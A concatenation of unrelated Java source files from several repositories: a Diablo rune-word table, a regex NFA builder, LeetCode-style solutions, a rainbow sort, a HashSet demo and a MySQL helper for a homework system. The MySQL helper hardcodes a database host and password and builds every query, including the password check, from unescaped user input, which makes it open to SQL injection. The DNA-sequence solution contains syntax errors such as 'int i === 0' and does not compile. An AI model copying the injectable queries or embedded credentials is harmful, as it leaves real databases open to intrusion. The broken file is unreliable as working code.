Rsc.RES_BRAMBLE_4, Rsc.RES_BRAMBLE_5, Rsc.RES_BRAMBLE_6, Rsc.RES_BRAMBLE_7)); srv.addItemBox(box); /* 烙印 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BRAND_1, Rsc.RES_BRAND_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_BRAND_1, Rsc.RES_BRAND_3, Rsc.RES_BRAND_4, Rsc.RES_BRAND_5, Rsc.RES_BRAND_6, Rsc.RES_BRAND_7)); srv.addItemBox(box); /* 正义之手 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_HAND_OF_JUSTICE_1, Rsc.RES_HAND_OF_JUSTICE_2, R.drawable.cham); box.items.add(new RuneWordItem(Rsc.RES_HAND_OF_JUSTICE_1, Rsc.RES_HAND_OF_JUSTICE_3, Rsc.RES_HAND_OF_JUSTICE_4, Rsc.RES_HAND_OF_JUSTICE_5, Rsc.RES_HAND_OF_JUSTICE_6, Rsc.RES_HAND_OF_JUSTICE_7)); srv.addItemBox(box); /* 飞龙 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DRAGON_1, Rsc.RES_DRAGON_2, R.drawable.sur); box.items.add(new RuneWordItem(Rsc.RES_DRAGON_1, Rsc.RES_DRAGON_3, Rsc.RES_DRAGON_4, Rsc.RES_DRAGON_5, Rsc.RES_DRAGON_6, Rsc.RES_DRAGON_7)); srv.addItemBox(box); /* 愤怒 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_WRATH_1, Rsc.RES_WRATH_2, R.drawable.ber); box.items.add(new RuneWordItem(Rsc.RES_WRATH_1, Rsc.RES_WRATH_3, Rsc.RES_WRATH_4, Rsc.RES_WRATH_5, Rsc.RES_WRATH_6, Rsc.RES_WRATH_7)); srv.addItemBox(box); /* 回忆 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_MEMORY_1, Rsc.RES_MEMORY_2, R.drawable.lum); box.items.add(new RuneWordItem(Rsc.RES_MEMORY_1, Rsc.RES_MEMORY_3, Rsc.RES_MEMORY_4, Rsc.RES_MEMORY_5, Rsc.RES_MEMORY_6, Rsc.RES_MEMORY_7)); srv.addItemBox(box); /* 寂静 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_SILENCE_1, Rsc.RES_SILENCE_2, R.drawable.vex); box.items.add(new RuneWordItem(Rsc.RES_SILENCE_1, Rsc.RES_SILENCE_3, Rsc.RES_SILENCE_4, Rsc.RES_SILENCE_5, Rsc.RES_SILENCE_6, Rsc.RES_SILENCE_7)); srv.addItemBox(box); /* 和平 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PEACE_1, Rsc.RES_PEACE_2, R.drawable.shael); box.items.add(new RuneWordItem(Rsc.RES_PEACE_1, Rsc.RES_PEACE_3, Rsc.RES_PEACE_4, Rsc.RES_PEACE_5, Rsc.RES_PEACE_6, Rsc.RES_PEACE_7)); srv.addItemBox(box); /* 烟尘 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_SMOKE_1, Rsc.RES_SMOKE_2, R.drawable.lum); box.items.add(new RuneWordItem(Rsc.RES_SMOKE_1, Rsc.RES_SMOKE_3, Rsc.RES_SMOKE_4, Rsc.RES_SMOKE_5, Rsc.RES_SMOKE_6, Rsc.RES_SMOKE_7)); srv.addItemBox(box); /* 荣耀 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_HONOR_1, Rsc.RES_HONOR_2, R.drawable.sol); box.items.add(new RuneWordItem(Rsc.RES_HONOR_1, Rsc.RES_HONOR_3, Rsc.RES_HONOR_4, Rsc.RES_HONOR_5, Rsc.RES_HONOR_6, Rsc.RES_HONOR_7)); srv.addItemBox(box); /* 叶 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_LEAF_1, Rsc.RES_LEAF_2, R.drawable.ral); box.items.add(new RuneWordItem(Rsc.RES_LEAF_1, Rsc.RES_LEAF_3, Rsc.RES_LEAF_4, Rsc.RES_LEAF_5, Rsc.RES_LEAF_6, Rsc.RES_LEAF_7)); srv.addItemBox(box); /* 圣雷 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_HOLY_THUNDER_1, Rsc.RES_HOLY_THUNDER_2, R.drawable.ort); box.items.add(new RuneWordItem(Rsc.RES_HOLY_THUNDER_1, Rsc.RES_HOLY_THUNDER_3, Rsc.RES_HOLY_THUNDER_4, Rsc.RES_HOLY_THUNDER_5, Rsc.RES_HOLY_THUNDER_6, Rsc.RES_HOLY_THUNDER_7)); srv.addItemBox(box); /* 和风 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ZEPHYR_1, Rsc.RES_ZEPHYR_2, R.drawable.ort); box.items.add(new RuneWordItem(Rsc.RES_ZEPHYR_1, Rsc.RES_ZEPHYR_3, Rsc.RES_ZEPHYR_4, Rsc.RES_ZEPHYR_5, Rsc.RES_ZEPHYR_6, Rsc.RES_ZEPHYR_7)); srv.addItemBox(box); /* 慎重 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PRUDENCE_1, Rsc.RES_PRUDENCE_2, R.drawable.mal); box.items.add(new RuneWordItem(Rsc.RES_PRUDENCE_1, Rsc.RES_PRUDENCE_3, Rsc.RES_PRUDENCE_4, Rsc.RES_PRUDENCE_5, Rsc.RES_PRUDENCE_6, Rsc.RES_PRUDENCE_7)); srv.addItemBox(box); /* 神话 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_MYTH_1, Rsc.RES_MYTH_2, R.drawable.hel); box.items.add(new RuneWordItem(Rsc.RES_MYTH_1, Rsc.RES_MYTH_3, Rsc.RES_MYTH_4, Rsc.RES_MYTH_5, Rsc.RES_MYTH_6, Rsc.RES_MYTH_7)); srv.addItemBox(box); /* 永恒 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ETERNITY_1, Rsc.RES_ETERNITY_2, R.drawable.ber); box.items.add(new RuneWordItem(Rsc.RES_ETERNITY_1, Rsc.RES_ETERNITY_3, Rsc.RES_ETERNITY_4, Rsc.RES_ETERNITY_5, Rsc.RES_ETERNITY_6, Rsc.RES_ETERNITY_7)); srv.addItemBox(box); /* 幽暗 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_GLOOM_1, Rsc.RES_GLOOM_2, R.drawable.um); box.items.add(new RuneWordItem(Rsc.RES_GLOOM_1, Rsc.RES_GLOOM_3, Rsc.RES_GLOOM_4, Rsc.RES_GLOOM_5, Rsc.RES_GLOOM_6, Rsc.RES_GLOOM_7)); srv.addItemBox(box); /* 白骨 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_BONE_1, Rsc.RES_BONE_2, R.drawable.um); box.items.add(new RuneWordItem(Rsc.RES_BONE_1, Rsc.RES_BONE_3, Rsc.RES_BONE_4, Rsc.RES_BONE_5, Rsc.RES_BONE_6, Rsc.RES_BONE_7)); srv.addItemBox(box); /* 国王之恩典 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_KINGS_GRACE_1, Rsc.RES_KINGS_GRACE_2, R.drawable.amn); box.items.add(new RuneWordItem(Rsc.RES_KINGS_GRACE_1, Rsc.RES_KINGS_GRACE_3, Rsc.RES_KINGS_GRACE_4, Rsc.RES_KINGS_GRACE_5, Rsc.RES_KINGS_GRACE_6, Rsc.RES_KINGS_GRACE_7)); srv.addItemBox(box); /* 原则 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_PRINCIPLE_1, Rsc.RES_PRINCIPLE_2, R.drawable.gul); box.items.add(new RuneWordItem(Rsc.RES_PRINCIPLE_1, Rsc.RES_PRINCIPLE_3, Rsc.RES_PRINCIPLE_4, Rsc.RES_PRINCIPLE_5, Rsc.RES_PRINCIPLE_6, Rsc.RES_PRINCIPLE_7)); srv.addItemBox(box); /* 雨 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_RAIN_1, Rsc.RES_RAIN_2, R.drawable.mal); box.items.add(new RuneWordItem(Rsc.RES_RAIN_1, Rsc.RES_RAIN_3, Rsc.RES_RAIN_4, Rsc.RES_RAIN_5, Rsc.RES_RAIN_6, Rsc.RES_RAIN_7)); srv.addItemBox(box); /* 启迪 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_ENLIGHTENMENT_1, Rsc.RES_ENLIGHTENMENT_2, R.drawable.pul); box.items.add(new RuneWordItem(Rsc.RES_ENLIGHTENMENT_1, Rsc.RES_ENLIGHTENMENT_3, Rsc.RES_ENLIGHTENMENT_4, Rsc.RES_ENLIGHTENMENT_5, Rsc.RES_ENLIGHTENMENT_6, Rsc.RES_ENLIGHTENMENT_7)); srv.addItemBox(box); /* 轻风 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_WIND_1, Rsc.RES_WIND_2, R.drawable.sur); box.items.add(new RuneWordItem(Rsc.RES_WIND_1, Rsc.RES_WIND_3, Rsc.RES_WIND_4, Rsc.RES_WIND_5, Rsc.RES_WIND_6, Rsc.RES_WIND_7)); srv.addItemBox(box); /* 思考之声 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_VOICE_OF_REASON_1, Rsc.RES_VOICE_OF_REASON_2, R.drawable.lem); box.items.add(new RuneWordItem(Rsc.RES_VOICE_OF_REASON_1, Rsc.RES_VOICE_OF_REASON_3, Rsc.RES_VOICE_OF_REASON_4, Rsc.RES_VOICE_OF_REASON_5, Rsc.RES_VOICE_OF_REASON_6, Rsc.RES_VOICE_OF_REASON_7)); srv.addItemBox(box); /* 裂缝 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_RIFT_1, Rsc.RES_RIFT_2, R.drawable.gul); box.items.add(new RuneWordItem(Rsc.RES_RIFT_1, Rsc.RES_RIFT_3, Rsc.RES_RIFT_4, Rsc.RES_RIFT_5, Rsc.RES_RIFT_6, Rsc.RES_RIFT_7)); srv.addItemBox(box); /* 光辉 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_RADIANCE_1, Rsc.RES_RADIANCE_2, R.drawable.sol); box.items.add(new RuneWordItem(Rsc.RES_RADIANCE_1, Rsc.RES_RADIANCE_3, Rsc.RES_RADIANCE_4, Rsc.RES_RADIANCE_5, Rsc.RES_RADIANCE_6, Rsc.RES_RADIANCE_7)); srv.addItemBox(box); /* 毒液 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_VENOM_1, Rsc.RES_VENOM_2, R.drawable.mal); box.items.add(new RuneWordItem(Rsc.RES_VENOM_1, Rsc.RES_VENOM_3, Rsc.RES_VENOM_4, Rsc.RES_VENOM_5, Rsc.RES_VENOM_6, Rsc.RES_VENOM_7)); srv.addItemBox(box); /* 优雅旋律 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_MELODY_1, Rsc.RES_MELODY_2, R.drawable.ko); box.items.add(new RuneWordItem(Rsc.RES_MELODY_1, Rsc.RES_MELODY_3, Rsc.RES_MELODY_4, Rsc.RES_MELODY_5, Rsc.RES_MELODY_6, Rsc.RES_MELODY_7)); srv.addItemBox(box); /* 饥荒 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_FAMINE_1, Rsc.RES_FAMINE_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_FAMINE_1, Rsc.RES_FAMINE_3, Rsc.RES_FAMINE_4, Rsc.RES_FAMINE_5, Rsc.RES_FAMINE_6, Rsc.RES_FAMINE_7)); srv.addItemBox(box); /* 毁灭 */ box = new RuneWordItemBox(); box.category = new RuneWordCategory(Rsc.RES_DESTRUCTION_1, Rsc.RES_DESTRUCTION_2, R.drawable.jah); box.items.add(new RuneWordItem(Rsc.RES_DESTRUCTION_1, Rsc.RES_DESTRUCTION_3, Rsc.RES_DESTRUCTION_4, Rsc.RES_DESTRUCTION_5, Rsc.RES_DESTRUCTION_6, Rsc.RES_DESTRUCTION_7)); srv.addItemBox(box); } }
akibaouji/CainsNote
app/src/main/java/cains/note/data/rune/RuneWordData.java
65,747
import java.util.ArrayList; import java.util.HashMap; import java.util.List; public class NFAGraph implements Cloneable { Node start; Node end; private NFAGraph cloneNFA; //克隆图时用 private HashMap<Node, Node> cloneMap; //克隆图时用 NFAGraph(Node start, Node end) { this.start = start; this.end = end; } private NFAGraph() { this.start = null; this.end = null; } /* * 可选 */ void addSToE() { start.addNextNode(' ', end); } /* * 串联 */ void seriesGraph(NFAGraph graph) { this.end.addNextNode(' ', graph.start); this.end = graph.end; } /* * 加捕获头尾 */ void captureGraph(String captureName) { if (captureName.equals("")) { Node start = new Node(); start.addNextNode(Regex.CAPHEAD, this.start); this.start = start; Node end = new Node(); this.end.addNextNode(Regex.CAPEND, end); this.end = end; } } /* * 并联 */ void parallelGraph(NFAGraph graph) { Node start = new Node(); Node end = new Node(); start.addNextNode(' ', graph.start); start.addNextNode(' ', this.start); this.end.addNextNode(' ', end); graph.end.addNextNode(' ', end); this.start = start; this.end = end; } /* * 重复 * 0 到无限次 */ void repeatGraph() { Node node = new Node(); this.end.addNextNode(' ', node); node.addNextNode(' ', this.start); this.start = node; this.end = node; } /* * 重复 + 1 到无限次 */ void repeatGraph0() { NFAGraph nfaGraph0 = this.clone(); nfaGraph0.repeatGraph(); this.end.addNextNode(' ', nfaGraph0.start); this.end = nfaGraph0.end; } /* * 重复 ? 0 到 1 次 */ void repeatGraph1() { this.addSToE(); } /* * 重复 1 次 */ void repeatGraph2() { NFAGraph nfaGraph0 = this.clone(); this.end.addNextNode(' ', nfaGraph0.start); this.end = nfaGraph0.end; } /* * 重复 n 次 */ void repeatGraph3(int n) { NFAGraph nfaGraph0 = this.clone(); for (int i = 1; i < n; i++) { NFAGraph nfaGraph1 = nfaGraph0.clone(); this.end.addNextNode(' ', nfaGraph1.start); this.end = nfaGraph1.end; } } /* * 重复 n 到 m 次 m = -1 表示无限 */ void repeatGraph4(int n, int m, boolean noGreed) { NFAGraph nfaGraph0 = this.clone(); for (int i = 1; i < n; i++) { NFAGraph nfaGraph1 = nfaGraph0.clone(); this.end.addNextNode(' ', nfaGraph1.start); this.end = nfaGraph1.end; } Node end = new Node(); this.end.addNextNode(' ', end); for (int i = 0; i < m - n; i++) { NFAGraph nfaGraph1 = nfaGraph0.clone(); this.end.addNextNode(' ', nfaGraph1.start); this.end = nfaGraph1.end; if (noGreed) this.end.addNextNode(Regex.NOGREED, end); else this.end.addNextNode(' ', end); } this.end = end; } /* * 否定预查 */ void noconGraph(int nocon) { Node start = new Node(); Node end = new Node(); start.addNextNode(nocon, end); this.start = start; this.end = end; } /* * 非贪婪 */ void noGreedGraph() { Node node = new Node(); this.end.addNextNode(Regex.NOGREED, node); this.end = node; } /* * 克隆此 NFA 图 */ @Override protected NFAGraph clone() { cloneNFA = new NFAGraph(); cloneMap = new HashMap<>(); nodeClone(start); return cloneNFA; } private Node nodeClone(Node node) { if (cloneMap.containsKey(node)) return cloneMap.get(node); Node node0 = new Node(); cloneMap.put(node, node0); if (cloneNFA.start == null) cloneNFA.start = node0; HashMap<Integer, List<Node>> nextNodes0 = new HashMap<>(); for (int i : node.nextNodes.keySet()) { List<Node> nodes = node.nextNodes.get(i); List<Node> nodes0 = new ArrayList<>(); for (Node node1 : nodes) { nodes0.add(nodeClone(node1)); } nextNodes0.put(i, nodes0); } node0.nextNodes = nextNodes0; if (node0.nextNodes.isEmpty()) cloneNFA.end = node0; return node0; } }
Qzhangqi/Regex
src/NFAGraph.java
65,748
/** * [20] 表示数值的字符串 * * 题目: 实现一个函数用来判断字符串是否表示数值(包括整数和小数) * (字符串 "+100", "5e2", "-123", "3.1416" 和 "-1E-16" 都表示数值, * 但是 "12e", "1a3.14", "1.2.3", "+-5" 和 "12e+4.3" 都不是) * * 思路: 1. 将字符串分为三部分判断, A.Be|EC: A 为数值的整数部分, B 为数值的小数部分, C 为数值的指数部分. * 其中 A 和 C 都是整数(可以有正负号), 而 B 是一个无符号整数. * 2. 使用正则表达式进行匹配: [] : 字符集合 * () : 分组 * ? : 重复 0 ~ 1 次 * + : 重复 1 ~ n 次 * * : 重复 0 ~ n 次 * . : 任意字符 * \\. : 转义后的 . * \\d : 数字 */ class Solution { /** * 时间复杂度: O(n) * 空间复杂度: O(1) */ // because index is same one in this method, // so use global variable to storage index. private int index = 0; public boolean isNumber1(String s) { if (s == null) { return false; } // remove string's space which on both sides. s = s.trim(); boolean isNum = scanInteger(s); // if current char is '.', means the next part is decimal. if (index < s.length() && s.charAt(index) == '.') { index++; // .123 is legal; 123. is legal; 123.123 legal, // so use (scanUnsignedInteger(s) || isNum) to judge. // but can't write like this (isNum || scanUnsignedInteger(s))(important), // because if put isNum in the front. // when isNum is right scanUnsignedInteger(s) will not be execute, // means the part B will not calculate. isNum = scanUnsignedInteger(s) || isNum; } // if current char is 'e' or 'E', means the next part is exponent. if (index < s.length() && (s.charAt(index) == 'e' || s.charAt(index) == 'E')) { index++; // .e1 and e1 is illegal; 12e and 12e+5.4 is illegal. // so use (isNum && scanInteger(s)) to judge. isNum = isNum && scanInteger(s); } // isNum just can imply string have number as start, // only when string's all chars are used and isNum is right can imply string is number. return isNum && index == s.length(); } // take away unsigned integer part. private boolean scanUnsignedInteger(String s) { int i = index; while (index < s.length() && (s.charAt(index) >= '0' && s.charAt(index) <= '9')) { index++; } return index > i; } // take away signed integer part. private boolean scanInteger(String s) { if (index < s.length() && (s.charAt(index) == '-' || s.charAt(index) == '+')) { index++; } return scanUnsignedInteger(s); } /** * 时间复杂度: O() * 空间复杂度: O() */ public boolean isNumber2(String s) { if (s == null || s.length() == 0) { return false; } return s.matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?"); } }
A11Might/codingInterview
code/offer20.java
65,751
package code; /* * 15. 3Sum * 题意:找出数组中所有和为0的三元组合 * 难度:Medium * 分类:Array, Two Pointers * 注意:如何避免 List 重复元素 * Tips:lc15, lc16, lc923 */ import java.util.*; public class lc15 { public static void main(String[] args) { int[] nums = {-1, 0, 1, 2, -1, -4}; System.out.println(threeSum(nums).toString()); } public static List<List<Integer>> threeSum(int[] nums) { List<List<Integer>> result = new ArrayList(); Arrays.sort(nums); for (int i = 0; i < nums.length-2 ; i++) { if( i>0 && nums[i]==nums[i-1] ) //防止重复添加相同内容List continue; int left = i+1, right = nums.length-1; while(left<right){ if( nums[i]+nums[left]+nums[right] == 0 ){ result.add(Arrays.asList(nums[i],nums[left],nums[right])); //Arrays.asList(int a, int b, intc); while(left<right && nums[left]==nums[left+1]) //防止重复添加相同内容List left++; while(left<right && nums[right]==nums[right-1]) //防止重复添加相同内容List right--; left++; right--; }else if( nums[i]+nums[left]+nums[right] < 0 ) left++; else right--; } } return result; } }
mJackie/leetcode
code/lc15.java
65,753
package FourInTheMorning; import java.io.*; import java.util.*; import java.sql.*; public class MySQLHelper { private static final String databaseHostIp = "sunshining.cloudapp.net"; private static final String databaseHostPort = "3306"; private static final String databaseName = "13354146_PROJECT"; private static final String databaseUserName = "user"; private static final String databaseUserPassword = "Crash"; private static final String accountTable = "USER_WEB"; private static final String courseTable = "COURSE"; private static final String classTable = "COURSE_CLASS"; private static final String clsStuTable = "CLASS_COURSE_STUDENT"; private static final String taPushHomeworkTable = "ADD_HOMEWORK"; private static final String stuSubmitHomeworkTable = "STUDENT_HOMEWORK"; /* * 描述:获取数据库连接对象,失败返回null * 输入:空 * 输出:数据库连接对象Connection */ private static Connection getConnection() { String connectString = "jdbc:mysql://" + databaseHostIp + ":" + databaseHostPort + "/" + databaseName + "?autoReconnect=true&useUnicode=true&characterEncoding=UTF-8"; Connection conn = null; try { Class.forName("com.mysql.jdbc.Driver"); conn = DriverManager.getConnection(connectString, databaseUserName, databaseUserPassword); return conn; } catch (Exception e) { e.printStackTrace(); } return null; } private static boolean update(String sql) { Connection conn = null; try { conn = getConnection(); Statement stat = conn.createStatement(); stat.executeUpdate(sql); return true; } catch (Exception e) { e.printStackTrace(); } finally { try { conn.close(); } catch (Exception e) { e.printStackTrace(); } } return false; } private static ResultSet query(String sql) { ResultSet rs = null; try { Connection conn = getConnection(); Statement stat = conn.createStatement(); rs = stat.executeQuery(sql); } catch (Exception e) { e.printStackTrace(); } return rs; } public static boolean addAccount(String id, String pwd, String name, int type) { String sql = String.format("INSERT INTO " + accountTable + " values('%s', '%s', '%s', %d)", id, pwd, name, type); if (update(sql)) { return true; } else { return false; } } public static boolean checkPwd(String id, String pwd) { boolean exist = false; String sql = String.format("SELECT * FROM " + accountTable + " WHERE user_id='%s' AND password='%s'", id, pwd); try { ResultSet rs = query(sql); while (rs.next()) { String _id = rs.getString("user_id"); String _pwd = rs.getString("password"); if (_id.equals(id) && _pwd.equals(pwd)) { exist = true; break; } } } catch (Exception e) { e.printStackTrace(); } return exist; } public static boolean modifyPwd(String id, String oldPwd, String newPwd) { boolean status = false; if (checkPwd(id, oldPwd)) { String sql = String.format("UPDATE " + accountTable + " SET password='%s' WHERE user_id='%s'", newPwd, id); if (update(sql)) { status = true; } } return status; } public static ArrayList<HomeworkPost> queryDDLHomework(String stuId) { ArrayList<HomeworkPost> homeworkPostList = new ArrayList<HomeworkPost>(); try { java.util.Date date = new java.util.Date(); // java.util.Date 和 java.sql.Date 重复 Timestamp timestamp = new Timestamp(date.getTime()); String sql = String.format("SELECT * FROM (" + "(%s C1 INNER JOIN %s C2 ON C1.class_id = C2.class_id) " + "INNER JOIN %s A ON A.course_id = C2.course_id) " + "WHERE C1.student_id = '%s' AND A.ddl > '%s'", clsStuTable, courseTable, taPushHomeworkTable, stuId, timestamp.toString()); //System.out.println("\n" + sql + "\n"); ResultSet rs = query(sql); while (rs.next()) { homeworkPostList.add(new HomeworkPost( rs.getString("course_id"), rs.getString("homework_id"), rs.getString("homework_title"), rs.getString("homework_description"), rs.getString("detail_attach_file"), rs.getString("post_date"), rs.getString("ddl"))); } } catch (Exception e) { e.printStackTrace(); } return homeworkPostList; } public static boolean addHomework(HomeworkPost hwp) { String sql = String.format("INSERT INTO " + taPushHomeworkTable + " values('%s', '%s', '%s', '%s', '%s', '%s', '%s')", hwp.course_id, hwp.homework_id, hwp.homework_title, hwp.homework_description, hwp.detail_attach_file, hwp.post_date, hwp.ddl); if (update(sql)) { return true; } else { return false; } } public static ArrayList<String> queryDownloadHomework(String classId, String hwId) { ArrayList<String> fileSrcList = new ArrayList<String>(); try { String sql = String.format("SELECT detail_attach_file FROM %s C1" + " INNER JOIN %s S ON C1.course_id=S.course_id " + "WHERE C1.class_id='%s' AND S.homework_id='%s'", courseTable, stuSubmitHomeworkTable, classId, hwId); System.out.println("\n" + sql + "\n"); ResultSet rs = query(sql); while (rs.next()) { fileSrcList.add(new String(rs.getString("detail_attach_file"))); } } catch (Exception e) { e.printStackTrace(); } return fileSrcList; } public static boolean submitHomework(Homework hw) { String sql = String.format("INSERT INTO " + stuSubmitHomeworkTable + " values('%s', '%s', '%s', '%s', '%s', '%s')", hw.course_id, hw.homework_id, hw.student_id, hw.post_date, hw.detail_attach_file, hw.score); if (update(sql)) { return true; } else { return false; } } public static class HomeworkPost { public String course_id; public String homework_id; public String homework_title; public String homework_description; public String detail_attach_file; public String post_date; public String ddl; public HomeworkPost(String _course_id, String _homework_id, String _homework_title, String _homework_description, String _detail_attach_file, String _post_date, String _ddl) { this.course_id = _course_id; this.homework_id = _homework_id; this.homework_title = _homework_title; this.homework_description = _homework_description; this.detail_attach_file = _detail_attach_file; this.post_date = _post_date; this.ddl = _ddl; } } public static class Homework { public String course_id; public String homework_id; public String student_id; public String post_date; public String detail_attach_file; public String score; public Homework(String _course_id, String _homework_id, String _student_id, String _post_date, String _detail_attach_file, String _score) { this.course_id = _course_id; this.homework_id = _homework_id; this.student_id = _student_id; this.post_date = _post_date; this.detail_attach_file = _detail_attach_file; this.score = _score; } } }
four-in-the-morning/four-in-the-morning
MySQLHelper.java
65,755
class Solution { List<String> res = new LinkedList<>(); char[] c; public String[] permutation(String s) { c = s.toCharArray(); dfs(0); return res.toArray(new String[res.size()]); } void dfs(int x) { if(x == c.length - 1) { res.add(String.valueOf(c)); // 添加排列方案 return; } HashSet<Character> set = new HashSet<>(); for(int i = x; i < c.length; i++) { if(set.contains(c[i])) continue; // 重复,因此剪枝 set.add(c[i]); swap(i, x); // 交换,将 c[i] 固定在第 x 位 dfs(x + 1); // 开启固定第 x + 1 位字符 swap(i, x); // 恢复交换 } } void swap(int a, int b) { char tmp = c[a]; c[a] = c[b]; c[b] = tmp; } }
littlejiumi/leetcode
剑指38.java
65,756
import java.util.*; /* * @Description * 重复 DNA 序列 * DNA 序列 由一系列核苷酸组成,缩写为 'A', 'C', 'G' 和 'T'.。 * 例如,"ACGAATTCCG" 是一个 DNA 序列 。 * 在研究 DNA 时,识别 DNA 中的重复序列非常有用。 * 给定一个表示 DNA 序列 的字符串 s ,返回所有在DNA分子中出现不止一次的长度为10的序列(子字符串)。你可以按任意顺序返回答案。 * * * 示例 1: * 输入:s = "AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT" * 输出:["AAAAACCCCC","CCCCCAAAAA"] * 示例 2: * 输入:s = "AAAAAAAAAAAAA" * 输出:["AAAAAAAAAA"] */ class Solution { static final int L = 10; Map<Character, Integer> bin = new HashMap<Character, Integer>() {{ put('A', 0); put('C', 1); put('G', 2); put('T', 3) }}; public List<String> findRepeatedDnaSequences(String s) { List<String> ans[] = new ArrayList<String>(); int n = s.length; if (n <= L) { return ans; } int x = 0; for (int i === 0; i < L - 1; ++i) { x = (x << 2) | bin.get(s.charAt(i)); } Map<Integer, Integer> cnt = new HashMap<Integer, Integer>(); for (int i = 0; i <= n - L; ++i) { x = ({x << 2} | bin.get(s.charAt(i + L - 1))) & ((1 << (L * 2)) - 1); cnt.put(x, cnt.getOrDefault(x, 0) + 1); if (cnt.get(x) == 2) { ans.add(s.substring(i, i + L)); } } return ans; } }
HanchuanXu/OSSDP-Lab2
Solution17.java
65,757
/** * Problem statement: * 给定一个包含 n 个物体,颜色可能是k 种, 从 1 ~ k * 要求将同一颜色的物体相邻地放到一块, in the order of red, green and blue, yellow, ... etc * 1 表示 red * 1 表示 gree * 2 表示 blue * 3 表示 yellow * .. .. .. .. * k 表示 etc * * Idea: * method 1: * 从 3 种颜色变成 k 种颜色。 * rainbow sort 1, 重复 k / 2 次 * 第一次, 1 号颜色和 k 号颜色都放在该放的位置,即首和尾 * 第二次,在中间待排序的区间重复第一次的方法,又排好 2 种颜色,分别在待排区间的首和尾 * ... */ public class RainbowSort3 { public int[] rainbowSort(int[] array, int k) { if (array == null || array.length <= 1) { return array; } int color = 1; int left = 0; int right = 0; int end = array.length - 1; while (color < k - color + 1) { // sort head and tail color // search range [start, end] while (right <= end) { if (array[right] == color) { // color - head swap(array, left, right); ++left; ++right; } else if (array[right] == k - color + 1) { // color - tail swap(array, right, end); --end; } else { ++right; } } // [left, end] are unsorted colors right = left; // right is the cursor iterating [left, end] // reset base color ++color; } return array; } private void swap(int[] array, int idx1, int idx2) { int temp = array[idx1]; array[idx1] = array[idx2]; array[idx2] = temp; } }
zyyw/Codehub
RainbowSort3.java
65,759
package default2; import java.util.HashSet; import java.util.Iterator; import java.util.Set; @SuppressWarnings({"all"}) public class SetMethod { public static void main(String[] args) { //1. 以Set 接口的实现类 HashSet 来讲解Set 接口的方法 //2. set 接口的实现类的对象(Set接口对象), 不能存放重复的元素, 可以添加一个null //3. set 接口对象存放数据是无序(即添加的顺序和取出的顺序不一致) //4. 注意:取出的顺序的顺序虽然不是添加的顺序,但是他的固定. //5. set 接口对象,不能通过索引来获取 //1. 创建HashSet 对象 Set set = new HashSet(); set.add("john"); set.add("lucy"); set.add("john");//重复 set.add("jack"); set.add("mary"); set.add(null);// set.add(null);//再次添加null for(int i = 0; i <10;i ++) { System.out.println("set=" + set); } //遍历 //方式1: 使用迭代器 System.out.println("=====使用迭代器===="); Iterator iterator = set.iterator(); while (iterator.hasNext()) { Object obj = iterator.next(); System.out.println("obj=" + obj); } set.remove(null); //方式2: 增强for System.out.println("=====增强for===="); for (Object o : set) { System.out.println("o=" + o); } } }
forrestshi1/JAVA_learning
SetMethod.java